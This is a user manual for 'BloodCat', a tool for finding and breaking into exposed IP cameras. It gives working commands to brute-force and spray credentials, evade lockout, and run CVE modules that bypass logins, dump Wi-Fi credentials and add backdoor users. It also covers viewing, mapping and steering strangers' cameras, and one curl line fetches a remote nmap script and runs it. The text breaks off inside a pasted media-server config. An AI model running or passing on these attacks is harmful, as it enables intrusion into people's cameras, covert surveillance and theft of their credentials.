Post cover image

November 4, 2026

Blood-Cat User Manual

By Мартин.

35 min read

Please subscribe to, follow, and bookmark this page to receive all future update notifications.

None

Last updated: November 4, 2026

Introduce

None

BloodCat detects exposed IP cameras across private/public networks, retrieves credentials, and exploits CVEs, with country/region filtering and interactive map-based viewing.

PS: This tool supports weak‑credential and brute‑force testing against most mainstream network camera models. However, some devices with enhanced security mechanisms deliberately obfuscate or conceal their fingerprinting characteristics, which means the tool is not universally effective. Future updates will progressively introduce additional camera‑related CVE‑based vulnerability detection plugins, aiming to improve success rates while reducing unnecessary probing traffic.

🐈‍⬛ Have you ever wondered whether there are publicly accessible cameras watching the streets you walk every day? Once you become aware of their existence, you may realize how close and real online exposure actually is.

🤦‍♂️ Are you still struggling with the lack of practical tools for exploiting IP camera vulnerabilities?

🌏 BloodCat officially provides over 🔥2000+🔥 publicly accessible IP camera examples worldwide.

🎥 A comprehensive IP Camera penetration testing toolkit, featuring default credential enumeration, CVE exploitation, and additional capabilities — with support for collaborative team usage.

🛡️ BloodCat does not collect any identity-related information.

💻 BloodCat is compatible with Windows, Linux, and macOS.

🕵️‍♂️ Check whether your company/home/school IP cameras have security vulnerabilities.

None None None

Video

Embedded content

Embedded content

Workflow

None

Installation

Disk space requirement: Available space > 700 MB

$ sudo apt update && sudo apt install build-essential python3-dev python3-pyqt5.qtwebengine -y
$ echo "dC5tZS9SZWRUb29sc19TX0g0Q0tfMTM=" | base64 -d
$ cd BloodCat && python3 -m venv bloodcat
$ source ./bloodcat/bin/activate
(bloodcat)$ python -m pip install --upgrade pip
(bloodcat)$ pip install opencv-python aiohappyeyeballs aiohttp aiosignal async-timeout attrs certifi charset-normalizer frozenlist geoip2 idna maxminddb multidict propcache pycryptodome PyQt5 PyQt5-Qt5 PyQt5_sip PyQtWebEngine PyQtWebEngine-Qt5 requests typing_extensions urllib3 yarl numpy pynput
None

Launch

[NEW] v2.5 Release Notes

Embedded content

  1. Optimized the detection and brute-force logic, significantly increasing the success rate.

Example:

$ python3 bloodcat.py --ip "75.146.72.65:554"

None

You can choose not to specify a username and password; if omitted, it will attempt brute-forcing using built-in credentials. Of course, you can modify lines 51 and 52 in ./lib/camlib.py to customize the credential combinations you want to add:

self.USER = ["admin"]
self.PASSWORD = ['admin123', '123456']

However, I highly recommend that once you obtain a valid credential, you try credential spraying against other targets, as the success rate for that is indeed very high.

Specify the type as a Hikvision camera: $ python3 bloodcat.py --ip "x.x.x.x:554" --type hikvision --username admin --password "xxxxxx"

None

Specify the type as a Dahua camera:

$ python3 bloodcat.py --ip "192.168.0.20:554" --type ajhua --username ajhua --password "CS-314H11"

None

Added a Dahua camera CVE-2021–33044 module to automatically detect the vulnerability and add a backdoor user.

$ python3 bloodcat_cve.py

None

You only need to provide the IP and port in the format IP:PORT.

The program will automatically detect whether the target is a private or public IP address and store the results in separate locations accordingly.

About:

  1. Integrates with search engines, enabling target filtering and continuous scanning operations by country, region, or city.
  2. Operates at the RTSP protocol, providing high stealth and efficiency.
  3. Performs camera fingerprint identification first, automatically filtering out and excluding honeypot systems, then enumerates usernames and passwords of target network cameras.
  4. Supports password spraying, applicable to single IPs or multiple IP ranges.
  5. Supports bc data updating and merging, facilitating long-term maintenance and management.
  6. Supports writing Hikvision camera credential header information into bc files, which can be visualized on a map.

Scanner I recommend: https://github.com/MartinxMax/n1ght0wl.git [Banned]

After BloodCat successfully gains access to a camera, it will provide you with a playback link. However, you don't need to open the link manually.

Simply reload the module in BloodCat-Map, then use the IP search in the top-right corner to locate the target. Click the target, and the video will play directly.

(bloodcat)$ python3 bloodcat.py -h
Blood Cat - IP Camera Weak Credential Scanner
options:
  -h, --help           show this help message and exit
  --country COUNTRY    Country
  --city CITY          City
  --region REGION      Area
  --key KEY            Fofa API key
  --type TYPE          (hikvision/ajhua) CCTV type, Default all path
  --ip IP              IP:PORT or IP
  --ips IPS            Targets list file (each line: IP or IP:PORT)
  --username USERNAME  Username spraying
  --password PASSWORD  Password spraying
  --merge              Merge and update all data in ./data into a single BC file
  --hiv HIV            Load Hikvision credentials file
  --live LIVE          Filter currently active cameras in the BC file
  --update             Check for the latest version and update
  --scan               Scan ports when RTSP port is unknown
  --capture            Automatically capture and display images in the terminal upon retrieving the RTSP path.
None

Bruteforce a specific camera IP

If you don't know the target RTSP port, you can add the — scan option to automatically scan ports on the target.

(bloodcat)$ python3 bloodcat.py --ip "185.153.118.100" --scan

If the — scan option is not used, you must specify the port.

(bloodcat)$ python3 bloodcat.py --ip "185.153.118.100:554"
None

Bruteforce for IP list

You can also use the — scan option here.

(bloodcat)$ python3 bloodcat.py --ips target.txt
None

Bruteforce camera IPs in a specific country/region (via FoFa)

(bloodcat)$ python3 bloodcat.py --country CN --region HK --key <FOFA-API-KEY>
None

Merge .bc Data

Place all .bc files that need to be merged into the ./data/ directory.

None 
(bloodcat)$ python3 bloodcat.py --merge
None

After execution, ./data/20260308_012011.bc will be a deduplicated and merged .bc file.

Replace the original global.bc file, then right-click Reload in BloodCat_Map:

(bloodcat)$ mv ./data/20260308_012011.bc ./data/global.bc

Filter cameras in the BC file that are alive today

(bloodcat)$ python3 bloodcat.py --live ./data/global.bc
None

live_20260308_012137.bc

CVE-Exploit

(bloodcat)$ python3 bloodcat_cve.py
None 
Bloodcat@exp# show
Matching Modules
==============================================================================
ID   Name                           Description
------------------------------------------------------------------------------
1    hikvision/cve-2017-7921        Hikvision auth bypass
2    liandian/cve-2025-7503         Liandian IP Camera Telnet Hardcoded Credentials & Plaintext WiFi Credentials Leak
3    jaws-dvr/cve-2016-20016        MVPower and certain DVR devices identified by the JAWS/1.0 banner are affected by an unauthenticated remote command execution (RCE) vulnerability
4    nuuo-nvr/cve-2016-5674         Remote attackers execute arbitrary PHP code via log parameter
5    ajhua/dahua/cve-2021-33044     Dahua Login Bypass

Hikvision Crack && iVMS-4200

You can use the Bloodcat main program to test credentials on Hikvision cameras.

Under normal circumstances, when authentication attempts are made through the HTTP authentication interface, the device will trigger an account lockout mechanism after more than five consecutive failed login attempts, resulting in the admin account being locked.

The Bloodcat main program does not rely on the standard HTTP authentication process, and therefore does not trigger the account lockout policy.

If credential-based access cannot be obtained, you may proceed with the CVE module for further validation and analysis.

iVMS-4200 download link : https://github.com/MartinxMax/BloodCat/releases/tag/play [Banned]

Bloodcat@exp# use 1
Bloodcat@(CVE-2017-7921)# showParameter       | Value    | Description
----------------------------------------------------------------------
ips            |         | Hosts file (<IP>:<Port>)
threads        | 10      | Thread count
output_type    | csv    | json / csv
output_path    | ./result.csv| Output file
Bloodcat@(CVE-2017-7921)# set ips /home/maptnh/Desktop/2/bloodcat/BloodCat/tar.txt
Bloodcat@(CVE-2017-7921)# run
[*] Successfully read 3 valid targets
[*] Start cracking (3 targets, threads=10)
[+] Crack success X.X.X.X:80 => admin:dddddd
[!] 1.59.71.189:80 Request timeout (> 3 seconds)
[+] Crack success X.X.X.X:80 => admin:xxxxx
[*] Start scanning SDK ports (Range: 8000-8100)...
[SDK Crack Success] X.X.X.X:8000
[SDK Crack Success] X.X.X.X:8000
[*] JSON exported successfully: ./result.csv (Size: 362 bytes, Number of devices: 2)
[*] Done! Exported 2 devices in total

Liandian IP Camera

Bloodcat@exp# use 2
Bloodcat@(CVE-2025-7503)# show
Parameter       | Value    | Description
----------------------------------------------------------------------
ip             |         | ip address
port           | 23      | telnet port
timeout        | 10      | timeout
Bloodcat@(CVE-2025-7503)# set ip X.X.X.X
Bloodcat@(CVE-2025-7503)# run
[+] Sending payload to X.X.X.X:23 ...
 _ (`-.   (`\ .-') /`     .-') _   ('-.  _ .-') _
    ( (OO  )   `.( OO ),'    ( OO ) )_(  OO)( (  OO) )
    _.`     \,--./  .--.  ,--./ ,--,'(,------.\     .'_
    (__...--''|      |  |  |   \ |  |\ |  .---',`'--..._)
    |  /  | ||  |   |  |, |    \|  | )|  |    |  |  \  '
    |  |_.' ||  |.'.|  |_)|  .     |/(|  '--. |  |   ' |
    |  .___.'|         |  |  |\    |  |  .--' |  |   / :
    |  |     |   ,'.   |  |  | \   |  |  `---.|  '--'  /
    `--'     '--'   '--'  `--'  `--'  `------'`-------'
cat /tmp/wificonf/wpa_supplicant.conf
ctrl_interface=/var/run/wpa_supplicant
update_config=1
V380-linux# whoami
whoami
ls -la
-sh: whoami: not found
V380-linux# ls -la
drwxr-xr-x   19 1000     root           218 Jan  8  2022 .
drwxr-xr-x   19 1000     root           218 Jan  8  2022 ..
drwxr-xr-x    2 1000     root           813 Feb 15  2022 bin
drwxrwxrwt    4 root     root          2680 Jan  1  1970 dev
drwxr-xr-x    7 1000     root           350 Feb 12  2022 etc
drwxr-xr-x    3 1000     root            30 Jan 13  2022 ext
drwxr-xr-x    2 1000     root             3 Sep  9  2011 home
lrwxrwxrwx    1 root     root             9 Jan  8  2022 init -> sbin/init
drwxr-xr-x    3 1000     root           773 Jan  7  2022 lib
drwxr-xr-x    5 1000     root            52 Jan  4  2022 mnt
drwxr-xr-x    7 1000     1000            83 Aug 18  2022 mvs
drwxr-xr-x    2 1000     root             3 Oct 17  2011 opt
dr-xr-xr-x   62 root     root             0 Jan  1  1970 proc
drwxr-xr-x    2 1000     root             3 Sep  9  2011 root
drwxr-xr-x    2 1000     root           433 Jan 21  2022 sbin
drwxr-xr-x    2 1000     root             3 Sep  9  2011 srv
dr-xr-xr-x   11 root     root             0 Jan  1  1970 sys
drwxrwxrwt    3 root     root           140 Feb  7 13:49 tmp
drwxr-xr-x    6 1000     root            65 Jan 18  2022 usr
drwxrwxrwt    6 root     root  	         120 Jan  1  1970 var

Dahua && SmartPSSLite

Download:https://support.dahuasecurity.com/en/toolsDownloadDetails?IsDpValue=Azcw9DN0IRfyUn9i%2Fvq6qA%3D%3D

---------------------------------------------------------------
Bloodcat@exp# use 5
[*] Using module CVE-2021-33044
Bloodcat@(CVE-2021-33044)#
Bloodcat@(CVE-2021-33044)# show
Parameter       | Value    | Description
----------------------------------------------------------------------
url            |         | Target URL, IP or ip:port (e.g. http://192.168.1.100 or 192.168.1.100:80)
urls_file      |         | File containing target URLs/IPs, one per line (overrides url if set)
mode           | check   | Action mode: check (verify bypass + user existence) / add (add web+ONVIF user) / delete (delete user)
user           | ajhua   | Username to enumerate/add/delete
password       | CS-314H11| Password for the added user (used in add mode)
threads        | 10      | Concurrency thread count
proxy          |         | Proxy for requests, e.g. http://127.0.0.1:8080 or socks5://127.0.0.1:9911
sdk_scan       | False   | Scan SDK port 8000-8009 for cracked IPs and include in export
output_type    | csv     | Result export format
output_path    | ./result.csv| Result export file path
debug          | False   | Enable verbose debug output
Bloodcat@(CVE-2021-33044)# set urls_file ./urls.txt
[*] urls_file => ./urls.txt
Bloodcat@(CVE-2021-33044)# run
      .~~~~`\~~\
     ;       ~~ \
     |           ;
 ,--------,______|---.
/          \-----`    \
`.__________`-_______-'
=========================================
Dahua CVE-2021-33044 Login Bypass
[*] Mode: check | Targets: 50 | threads=10
[+] [http://XX.XX.XX.XXX:8880] Bypass login OK
[*] Exported: ./result.csv (11 devices)

Next, open SmartPSS and add a device. You may fill in the other fields with any information you choose; for the password field, enter "CS-314H11", then export the data.

None None 
<DeviceManager version="2.0">
<Device name="1" domain="1" port="37777" username="1" password="fUAMy4h5u8xbMM0KWYpZP336beDMPuf3dSkz1PzBi1swf8fMQKQwsqJ2" protocol="1" connect="0" autoregisteid=""/>
</DeviceManager>
<DeviceManager version="2.0">
<Device name="1" domain="16.17.18.91" port="80" username="ajhua" password="fUAMy4h5u8xbMM0KWYpZP336beDMPuf3dSkz1PzBi1swf8fMQKQwsqJ2" protocol="1" connect="0" autoregisteid=""/>
<Device name="2" domain="16.17.18.92" port="80" username="ajhua" password="fUAMy4h5u8xbMM0KWYpZP336beDMPuf3dSkz1PzBi1swf8fMQKQwsqJ2" protocol="1" connect="0" autoregisteid=""/>
</DeviceManager>SKIP.......
</DeviceManager>

Since SmartPSS applies different salts to the password field on different hosts — and because the ciphertext is irreversible — we must reuse the already-encrypted password field.

None None

Evil bat

https://github.com/MartinxMax/evil-b4t [Banned]

Evil‑Bat is a real‑time human detection and activity logging tool based on remote network cameras.

It analyzes RTSP video streams to identify the presence of living humans and automatically records key moments when people appear in the camera view.

None

Shodan cat

If you don't have a Shodan membership, this tool helps you maximize the number of IP addresses you can retrieve from Shodan.

Shodan Unlocked: Harvest More IPs Without a Premium Subscription — Мартин. — Medium

None

PicThief

This is a tool built on Flask API, OCR (optical character recognition), and YOLO-based intelligent detection, designed to identify images that may contain potentially leaked identity credentials.

The client enables sorting and organizing of images containing sensitive identity credentials without the need for any dependency installation.

The server exposes an open identification API interface to intelligently detect potential identity credentials.

https://github.com/MartinxMax/PicThief [Banned]

None

Bloodcat Map

Embedded content

Embedded content

(bloodcat)$ python3 bloodcat_map.py
None

If an error occurs

QObject::moveToThread: Current thread (0x22f43020) is not the object's thread (0x23190c60).
Cannot move to target thread (0x22f43020)
qt.qpa.plugin: Could not load the Qt platform plugin "xcb" in "/home/test/Desktop/BloodCat/bloodcat/lib/python3.12/site-packages/cv2/qt/plugins" even though it was found.
This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem.
Available platform plugins are: xcb, eglfs, linuxfb, minimal, minimalegl, offscreen, vnc, wayland-egl, wayland, wayland-xcomposite-egl, wayland-xcomposite-glx, webgl.
Aborted (core dumped)

Restart the program after running the following command.

(bloodcat)$ python3 -c "import cv2,os; p=os.path.join(os.path.dirname(cv2.__file__),'qt','plugins','platforms'); print(p) if os.path.exists(p) else exit(0)" | xargs -r rm -rf

Remote API Data

By entering a remote data URL(BloodCat Map API), you can load external datasets.

You can test it using the official BloodCat database:

https://raw.githubusercontent.com/MartinxMax/db/refs/heads/main/blood_cat/global.bc

Note: For your own anonymity, do not import or use untrusted BloodCat Map API endpoints, as they may collect your IP address (unless you are using a proxy).

None

You can also copy API database links from other BloodCat-Map instances:

None

The target data will be loaded and displayed on the map. If you need to remove an entry, click the X on the right side. Remote-loaded raw data is not automatically saved locally, but the remote URL will be written into the configuration file.

IP Tracking

You can enter keywords here to perform fuzzy matching on targets. This allows you to quickly lock and track specific targets on the map.

None

Team Collaboration

To use the chat feature, all team members must: · Be on the same local network (LAN) · Run BloodCat-Map simultaneously

The good news is: · No need to enter peer IP addresses · No need to worry about sniffing attacks · Chat packets are encrypted

(192.168.0.2)$ python3 bloodcat_map.py
(192.168.0.3)$ python3 bloodcat_map.py
None None

Bloodcat Map Terminal

Embedded content

(bloodcat)$ python ./bloodcat_map_terminal.py
None

Here's a useful trick: if you're using Termux, after setting up the BloodCat environment on one host machine, you can use the socat command to forward the surveillance stream to another host that doesn't have BloodCat installed.

(bloodcat)$ sudo apt install socat
(bloodcat)$ socat TCP-LISTEN:9999,fork,reuseaddr EXEC:"python ./bloodcat_map_terminal.py"
None 
(Termux)$ pkg install netcat-openbsd -y
(Termux)$ nc 192.168.67.131 9999
None 
BloodCatMap-Terminal# help

=== BloodCat Map Terminal - Help Manual ===
Commands:
  help                - Show this help message
  show                - Show all entries with detailed fields (global ID)
  show brief          - Show brief list (global ID, IP, Source)
  search <keyword>    - Search entries (supports: IP, RTSP, ASN, sys_org, network)
  play <global_id>    - Play RTSP stream by GLOBAL ID
  info <global_id>    - Show detailed information by GLOBAL ID
  reload              - Reload all data (local + remote)
  reset               - Reset filter to show all entries
  add <url>           - Add remote DB URL to config
  remove <url>        - Remove remote DB URL from config
  urls                - List all configured remote URLs
  exit/quit           - Exit the console
BloodCatMap-Terminal# search x.x.x.x
BloodCatMap-Terminal# play 1226
None

BloodCat Nmap

Embedded content

Note: This Nmap version only supports detecting anonymous public cameras and cannot brute‑force camera account passwords. The good news is that you don't need to install most of BloodCat's core dependencies to perform the detection.

$ sudo apt install nmap ffmpeg -y

ip=<Target_X.X.X.X>; nmap -Pn -p "$(curl -s https://raw.githubusercontent.com/MartinxMax/BloodCat/refs/heads/main/TOP1000_RTSP_Port.txt | grep -oE '[0-9]+' | sort -n | uniq | paste -sd,)" --script <(curl -s https://raw.githubusercontent.com/MartinxMax/BloodCat/refs/heads/main/bloodcat.nse) $ip
None 
ips=<File_Name>; nmap -Pn -p "$(curl -s https://raw.githubusercontent.com/MartinxMax/BloodCat/refs/heads/main/TOP1000_RTSP_Port.txt | grep -oE '[0-9]+' | sort -n | uniq | paste -sd,)" --script <(curl -s https://raw.githubusercontent.com/MartinxMax/BloodCat/refs/heads/main/bloodcat.nse) -iL $ips
None

$ ffplay -fs -rtsp_transport tcp rtsp://admin:123456@x.x.x.x:554/1

None

Bloodcat Editor

After importing a CSV or BC configuration file, you can: 1.Filter targets by specific country/region 2.Perform fuzzy matching on fields (e.g. country, keyword, etc.) 3.Re-export only the matched/selected targets 4.Visualize all target cameras directly on a world map using geolocation data

(bloodcat)$ python3 bloodcat_editor.py
None

Click Import CSV configuration file.

None

View the geographic locations of all Hikvision cameras on the map.

None

For example, searching "Japan" in the country field will display all related entries. All matched items can be auto-selected, then export only the checked targets.

None

Finally, use iVMS-4200 to play the exported devices.

None

Bloodcat Digger

After successfully brute-forcing a single target with Bloodcat, multiple camera channels may exist on the target device.Use Digger to deeply discover and enumerate all available camera streams.

None 
(bloodcat)$ python3 bloodcat_digger.py
None 
(bloodcat)$ python3 bloodcat_digger.py --rtsp rtsp://admin:xxxxx@172.16.17.103:554/Streaming/Channels/ --id 101

Scan starting from ID 101 (the default initial channel ID for most cameras):

This tool uses a stable TCP connection to the target.(FFplay uses UDP by default, which is extremely unstable for camera streams)

$ ffplay -x 600 -y 300 -rtsp_transport tcp rtsp://admin:xxxxx@172.16.17.103:554/Streaming/Channels/<x>01
None

Bloodcat PTZ

Embedded content

You can use this program to detect whether a target camera can be controlled.

(bloodcat)$ python3 bloodcat_ptz.py --help
None

Scan ONVIF ports

(bloodcat)$ python3 bloodcat_ptz.py --scan <Target>
None

Start Bloodcat Map and open the camera stream

(bloodcat)$ python3 bloodcat_ptz.py --ip <ip> --port <ONVIF_PORT> --username <username> --password <password>
None

After successful authentication, you can control the camera direction using the numeric keypad.

Bloodcat Lan Map

(bloodcat)$ python3 bloodcat.py --ips ./B-172-554.txt
None 
(bloodcat)$ python3 bloodcat_map_lan.py
None

Bloodcat Tricks

0001 : Push Your Live Stream or Private Network Camera Feed to Bloodcat Map for Subscribers to Play

There are many techniques to map private network cameras to public access.

If you want to map a single private network camera for public access, you can import it into BloodCat-Map for playback (because in Bloodcat-Map, one public IP can only map one camera).

None

However, if you want to map multiple private cameras, you should use ffplay or other playback methods.

None None

Below is an example of streaming your desktop to be accessible on Bloodcat-Map.

None

Start the RTSP server

Releases · bluenviron/mediamtx Ready-to-use Media-over-QUIC / SRT / WebRTC / RTSP / RTMP / LL-HLS / MPEG-TS / RTP live media server and media proxy…

payload.yml

###############################################
# Global settings

# Settings in this section are applied anywhere.

###############################################
# Global settings -> General

# Verbosity of the program; available values are "error", "warn", "info", "debug".
logLevel: info
# Destinations of log messages; available values are "stdout", "file" and "syslog".
logDestinations: [stdout]
# When destination is "stdout" or "file", emit logs in structured format (JSONL).
logStructured: false
# When "file" is in logDestinations, this is the file which will receive logs.
logFile: mediamtx.log
# When "syslog" is in logDestinations, use prefix for logs.
sysLogPrefix: mediamtx
# Dump packets to disk. This is useful for debugging.
dumpPackets: false

# Timeout of read operations.
readTimeout: 10s
# Timeout of write operations.
writeTimeout: 10s
# Size of the queue of outgoing packets.
# A higher value allows to increase throughput, a lower value allows to save RAM.
writeQueueSize: 512
# Maximum size of outgoing UDP payloads.
# It defaults to the maximum packet size on ethernet (1500) minus IPv6 and UDP headers (48).
# This can be decreased to avoid fragmentation on networks with a low MTU.
udpMaxPayloadSize: 1452
# Size of the read buffer of every UDP socket.
# This can be increased to decrease packet losses.
# It defaults to the default value of the operating system.
udpReadBufferSize: 0

# Command to run when a client connects to the server.
# This is terminated with SIGINT when a client disconnects from the server.
# The following environment variables are available:
# * MTX_CONN_TYPE: connection type
# * MTX_CONN_ID: connection ID
# * RTSP_PORT: RTSP server port
runOnConnect:
# Restart the command if it exits.
runOnConnectRestart: false
# Command to run when a client disconnects from the server.
# Environment variables are the same of runOnConnect.
runOnDisconnect:

###############################################
# Global settings -> Authentication

# Authentication method. Available values are:
# * internal: credentials are stored in the configuration file
# * http: an external HTTP URL is contacted to perform authentication
# * jwt: an external identity server provides authentication through JWTs
authMethod: internal

# Internal authentication.
# Enabled users.
authInternalUsers:
  # Default unprivileged user.
  # Username. 'any' means any user, including anonymous ones.
- user: any
  # Password. Not used in case of 'any' user.
  pass:
  # IPs or networks allowed to use this user. An empty list means any IP.
  ips: []
  # Permissions.
  permissions:
    # Available actions are: publish, read, playback, api, metrics, pprof.
  - action: publish
    # Paths can be set to further restrict access to a specific path.
    # An empty path means any path.
    # Regular expressions can be used by using a tilde as prefix.
    path:
  - action: read
    path:
  - action: playback
    path:

  # Default administrator.
  # This allows to use API, metrics and PPROF without authentication,
  # if the IP is localhost.
- user: any
  pass:
  ips: ['127.0.0.1', '::1']
  permissions:
  - action: api
  - action: metrics
  - action: pprof

# HTTP-based authentication.
# URL called to perform authentication. Every time a user wants
# to authenticate, the server calls this URL with the POST method
# and a body containing:
# {
#   "user": "user",
#   "password": "password",
#   "token": "token",
#   "ip": "ip",
#   "action": "publish|read|playback|api|metrics|pprof",
#   "path": "path",
#   "protocol": "rtsp|rtmp|hls|webrtc|srt",
#   "id": "id",
#   "query": "query"
# }
# If the response code is 20x, authentication is accepted, otherwise
# it is discarded.
authHTTPAddress:
# If the HTTP authentication URL has a self-signed or invalid certificate,
# you can provide the fingerprint of the certificate in order to
# validate it anyway. It can be obtained by running:
# openssl s_client -connect auth_http_domain:443 </dev/null 2>/dev/null | sed -n '/BEGIN/,/END/p' > server.crt
# openssl x509 -in server.crt -noout -fingerprint -sha256 | cut -d "=" -f2 | tr -d ':'
authHTTPFingerprint:
# Actions to exclude from HTTP-based authentication.
# Format is the same as the one of user permissions.
authHTTPExclude:
- action: api
- action: metrics
- action: pprof

# JWT-based authentication.
# Users have to login through an external identity server and obtain a JWT.
# This JWT must contain the claim "mediamtx_permissions" with permissions,
# for instance:
# {
#  "mediamtx_permissions": [
#     {
#       "action": "publish",
#       "path": "somepath"
#     }
#   ]
# }
# Users are expected to pass the JWT in the Authorization header or as password.
# This is the JWKS URL that will be used to pull (once) the public key that allows
# to validate JWTs.
authJWTJWKS:
# If the JWKS URL has a self-signed or invalid certificate,
# you can provide the fingerprint of the certificate in order to
# validate it anyway. It can be obtained by running:
# openssl s_client -connect jwt_jwks_domain:443 </dev/null 2>/dev/null | sed -n '/BEGIN/,/END/p' > server.crt
# openssl x509 -in server.crt -noout -fingerprint -sha256 | cut -d "=" -f2 | tr -d ':'
authJWTJWKSFingerprint:
# name of the claim that contains permissions.
authJWTClaimKey: mediamtx_permissions
# Actions to exclude from JWT-based authentication.
# Format is the same as the one of user permissions.
authJWTExclude: []
# allow passing the JWT through query parameters of HTTP requests (i.e. ?jwt=JWT).
# This is a security risk and will be disabled in the future.
authJWTInHTTPQuery: true

###############################################
# Global settings -> Control API

# Enable controlling the server through the Control API.
api: false
# Address of the Control API listener.
apiAddress: :9997
# Enable HTTPS on the Control API server.
apiEncryption: false
# Path to the server key. This is needed only when encryption is yes.
# This can be generated with:
# openssl genrsa -out server.key 2048
# openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
apiServerKey: server.key
# Path to the server certificate.
apiServerCert: server.crt
# Allowed CORS origins.
# Supports wildcards: ['http://*.example.com']
apiAllowOrigins: ['*']
# IPs or CIDRs of proxies placed before the HTTP server.
# These proxies can use the X-Forwarded-For header to set the real IP of clients,
# and the X-Forwarded-Proto header to set the original protocol.
apiTrustedProxies: []

###############################################
# Global settings -> Metrics

# Enable Prometheus-compatible metrics.
metrics: false
# Address of the metrics HTTP listener.
metricsAddress: :9998
# Enable HTTPS on the Metrics server.
metricsEncryption: false
# Path to the server key. This is needed only when encryption is yes.
# This can be generated with:
# openssl genrsa -out server.key 2048
# openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
metricsServerKey: server.key
# Path to the server certificate.
metricsServerCert: server.crt
# Allowed CORS origins.
# Supports wildcards: ['http://*.example.com']
metricsAllowOrigins: ['*']
# IPs or CIDRs of proxies placed before the HTTP server.
# These proxies can use the X-Forwarded-For header to set the real IP of clients,
# and the X-Forwarded-Proto header to set the original protocol.
metricsTrustedProxies: []

###############################################
# Global settings -> PPROF

# Enable pprof-compatible endpoint to monitor performances.
pprof: false
# Address of the pprof listener.
pprofAddress: :9999
# Enable HTTPS on the pprof server.
pprofEncryption: false
# Path to the server key. This is needed only when encryption is yes.
# This can be generated with:
# openssl genrsa -out server.key 2048
# openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
pprofServerKey: server.key
# Path to the server certificate.
pprofServerCert: server.crt
# Allowed CORS origins.
# Supports wildcards: ['http://*.example.com']
pprofAllowOrigins: ['*']
# IPs or CIDRs of proxies placed before the HTTP server.
# These proxies can use the X-Forwarded-For header to set the real IP of clients,
# and the X-Forwarded-Proto header to set the original protocol.
pprofTrustedProxies: []

###############################################
# Global settings -> Playback server

# Enable downloading recordings from the playback server.
playback: false
# Address of the playback server listener.
playbackAddress: :9996
# Enable HTTPS on the playback server.
playbackEncryption: false
# Path to the server key. This is needed only when encryption is yes.
# This can be generated with:
# openssl genrsa -out server.key 2048
# openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
playbackServerKey: server.key
# Path to the server certificate.
playbackServerCert: server.crt
# Allowed CORS origins.
# Supports wildcards: ['http://*.example.com']
playbackAllowOrigins: ['*']
# IPs or CIDRs of proxies placed before the HTTP server.
# These proxies can use the X-Forwarded-For header to set the real IP of clients,
# and the X-Forwarded-Proto header to set the original protocol.
playbackTrustedProxies: []

###############################################
# Global settings -> RTSP server

# Enable publishing and reading streams with the RTSP protocol.
rtsp: true
# Enabled RTSP transport protocols. The handshake is always performed with TCP.
rtspTransports: [udp, multicast, tcp]
# Use secure protocol variants (RTSPS, SRTP, SRTCP).
# Available values are "no", "strict", "optional".
rtspEncryption: "no"
# Address of the TCP/RTSP listener. This is needed only when encryption is "no" or "optional".
rtspAddress: :8554
# Address of the TCP/RTSPS listener. This is needed only when encryption is "strict" or "optional".
rtspsAddress: :8322
# Address of the UDP/RTP listener. This is needed only when "udp" is in rtspTransports and encryption is "no" or "optional".
rtpAddress: :8000
# Address of the UDP/RTCP listener. This is needed only when "udp" is in rtspTransports and encryption is "no" or "optional".
rtcpAddress: :8001
# IP range of all UDP-multicast listeners. This is needed only when "multicast" is in rtspTransports and encryption is "no" or "optional".
multicastIPRange: 224.1.0.0/16
# Port of all UDP-multicast/RTP listeners. This is needed only when "multicast" is in rtspTransports and encryption is "no" or "optional".
multicastRTPPort: 8002
# Port of all UDP-multicast/RTCP listeners. This is needed only when "multicast" is in rtspTransports and encryption is "no" or "optional".
multicastRTCPPort: 8003
# Address of the UDP/SRTP listener. This is needed only when "udp" is in rtspTransports and encryption is "strict" or "optional".
srtpAddress: :8004
# Address of the UDP/SRTCP listener. This is needed only when "udp" is in rtspTransports and encryption is "strict" or "optional".
srtcpAddress: :8005
# Port of all UDP-multicast/SRTP listeners. This is needed only when "multicast" is in rtspTransports and encryption is "strict" or "optional".
multicastSRTPPort: 8006
# Port of all UDP-multicast/SRTCP listeners. This is needed only when "multicast" is in rtspTransports and encryption is "strict" or "optional".
multicastSRTCPPort: 8007
# Path to the server key. This is needed only when encryption is "strict" or "optional".
# This can be generated with:
# openssl genrsa -out server.key 2048
# openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
rtspServerKey: server.key
# Path to the server certificate. This is needed only when encryption is "strict" or "optional".
rtspServerCert: server.crt
# Authentication methods. Available are "basic" and "digest".
# "digest" doesn't provide any additional security and is available for compatibility only.
rtspAuthMethods: [basic]

###############################################
# Global settings -> RTMP server

# Enable publishing and reading streams with the RTMP protocol.
rtmp: true
# Use the secure protocol variant (RTMP).
# Available values are "no", "strict", "optional".
rtmpEncryption: "no"
# Address of the RTMP listener. This is needed only when encryption is "no" or "optional".
rtmpAddress: :1935
# Address of the RTMPS listener. This is needed only when encryption is "strict" or "optional".
rtmpsAddress: :1936
# Path to the server key. This is needed only when encryption is "strict" or "optional".
# This can be generated with:
# openssl genrsa -out server.key 2048
# openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
rtmpServerKey: server.key
# Path to the server certificate. This is needed only when encryption is "strict" or "optional".
rtmpServerCert: server.crt

###############################################
# Global settings -> HLS server

# Enable reading streams with the HLS protocol.
hls: true
# Address of the HLS listener.
hlsAddress: :8888
# Enable HTTPS on the HLS server.
# This is required for Low-Latency HLS to function correctly on Apple devices.
hlsEncryption: false
# Path to the server key. This is needed only when encryption is yes.
# This can be generated with:
# openssl genrsa -out server.key 2048
# openssl req -new -x509 -sha256 -key server.key -out server.crt -days 3650
hlsServerKey: server.key
# Path to the server certificate.
hlsServerCert: server.crt
# Allowed CORS origins.
# Supports wildcards: ['http://*.example.com']
hlsAllowOrigins: ['*']
# IPs or CIDRs of proxies placed before the HLS server.
# If the server receives a request from one of these entries, IP in logs
# will be taken from the X-Forwarded-For header.
hlsTrustedProxies: []
# By default, HLS is generated only when requested by a user.
# This option allows to generate it always, avoiding the delay between request and generation.
hlsAlwaysRemux: false
# Variant of the HLS protocol to use. Available options are:
# * mpegts - uses MPEG-TS segments, for maximum compatibility.
# * fmp4 - uses fragmented MP4 segments, more efficient.
# * lowLatency - uses Low-Latency HLS.
hlsVariant: lowLatency
# Number of HLS segments to keep on the server.
# Segments allow to seek through the stream.
# Their number doesn't influence latency.
hlsSegmentCount: 7
# Minimum duration of each segment.
# A player usually puts 3 segments in a buffer before reproducing the stream.
